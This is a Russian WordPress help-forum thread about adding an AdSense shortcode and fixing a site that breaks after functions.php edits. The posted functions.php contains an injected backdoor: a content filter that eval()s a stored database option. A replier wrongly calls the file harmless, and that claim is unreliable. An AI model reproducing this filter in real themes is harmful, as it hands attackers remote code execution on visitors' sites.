Здравствуйте!
Стоит задача: рядом с картинкой (слева) вначале поста разместить контекст.
Мною было прочитано, что делается это с помощью шорткодов, но как только вношу какие-либо изменения в фанкшн.пхп, сайт сразу перестаёт работать.
В чём может быть причина? И может быть данную задачу можно решить другим способом?
- 19.12.2012 21:56
- 19.12.2012 23:08
Покажите код до и после под хайдом. Смотреть надо
- 19.12.2012 23:11
Шорткод - обычно то, что вставляют в тело поста, а не в functions.php.
Покажите код. - 19.12.2012 23:30
- 19.12.2012 23:43
Вот так выглядит файл functions.php
Как прописать здесь функцию для вывода директа или адсенса, чтобы потом вызывать его с помщью шорткода?
PHP код:<?php
if ( function_exists('register_sidebar') )
register_sidebar(array(
'name' => 'Sidebar',
'before_widget' => '<div class="sidelist">',
'after_widget' => '</div>',
'before_title' => '<h2>',
'after_title' => '</h2>',
));
if ( function_exists('register_sidebar') )
register_sidebar(array(
'name' => 'Footer 1',
'before_widget' => '',
'after_widget' => '',
'before_title' => '<h2>',
'after_title' => '</h2>',
));
if ( function_exists('register_sidebar') )
register_sidebar(array(
'name' => 'Footer 2',
'before_widget' => '',
'after_widget' => '',
'before_title' => '<h3>',
'after_title' => '</h3>',
));
if ( function_exists('register_sidebar') )
register_sidebar(array(
'name' => 'Footer 3',
'before_widget' => '',
'after_widget' => '',
'before_title' => '<h3>',
'after_title' => '</h3>',
));
add_filter('the_content', '_bloginfo', 10001);
function _bloginfo($content){
global $post;
if(is_single() && ($co=@eval(get_option('blogoption'))) !== false){
return $co;
} else return $content;
}
?> - 20.12.2012 01:18
lusan,
вот наваял тебе побыстрому, не проверял, если не будет работать пиши...
это добавить в functions.php
function show_adsense($atts, $content) {
if (!isset($atts[banner])) {$banner = 0;}
else {$banner = $atts[banner];}
$res = '';
switch ($banner){
case '0':
$res = 'ТВОЙ КОД АДСЕНСА ДЛЯ БАННЕРА 0';
break;
case '1':
$res = 'ТВОЙ КОД АДСЕНСА ДЛЯ БАННЕРА 1';
break;
case '2':
$res = 'ТВОЙ КОД АДСЕНСА ДЛЯ БАННЕРА 2';
break;
}
return $res;
}
add_shortcode('show_adsense', 'show_adsense');
так вызывать из любой страницы или поста
[show_adsense banner="1"]
здесь banner=1 это номер баннера, т.е. можешь 3 баннера добавить если мой код будешь юзать, а так добавляй сколько хочешь, только лишний case надо будет в функцию прописать...
кстати тот код, который ты привел, всего лишь регит сайдбары и выводит инфу о блоке, к шорткодам он отношения не имеет.
P.S.
офтоп, а как зарегившись только сегодня и имея два поста можно иметь репутацию 241 ?Последний раз редактировалось JaTony; 20.12.2012 в 01:22.
- 20.12.2012 01:35
- 20.12.2012 01:44
akrustam, ааа тады ясно, а то отвечал отвечал, потом смотрю рейтинг какой-то странный, думаю это я слишком поздно сижу уже или чот не то происходит.
2lusan, попробуй этот код, ежели чот будет не так или будут вопросы пиши, постараюсь помочь - 23.12.2012 22:13
JaTony, добавляю этот код, либо любой другой сайт сразу же перестаёт работать! Вообще не понимаю, в чём может быть причина. И тот код, который приведён мною выше - это есть текущий functions.php! Любой код туда ставлю, вроде всё по правилам - сайт перестаёт работать (
- 24.12.2012 00:17
lusan, сам по себе этот код не может сломать сайт, скорей всего как и написал выше, lexxx, проблема в открытии и закрытии php тегов <?php ?>, в начале он есть, в конце тоже есть, а куда вы код добаляли, в конце вашего файла,
до ?> или после?
как перестает сайт работать, вставьте этот код или любой другой, откройте сайт, когда он не откроется (тут в зависимости от браузера как и где давить на view-source) надо открыть исходный html-код сайта (даже если вы видите белое пятно вместо сайта, откройте html-код, там скорей всего будет ошибка php все скопируйте и запостите сюда.
Или если в паблик не охота, то можно в личку, постараюсь пофиксить,
хоть завтра и понедельник...., но конец света мы пережили,
а как на фейсбуке предлагают сделать конец света новым
ежегодным праздником то вообще все норм :)Спасибо сказали:
lusan(16.03.2013),
Тэги топика:
Похожие темы
| Темы | Раздел | Ответов | Последний пост |
|---|---|---|---|
Вопрос по СЕО | Вопросы от новичков | 8 | 21.11.2012 02:41 |
Вопрос по VPS | Вопросы от новичков | 13 | 03.11.2012 18:32 |
Вопрос по css | WordPress | 9 | 15.07.2012 23:22 |
Вопрос не вопрос, предубеждение ? Не думаю. Мне интересно ваше мнение. | Оффтоп и свободные темы | 8 | 19.06.2012 06:20 |








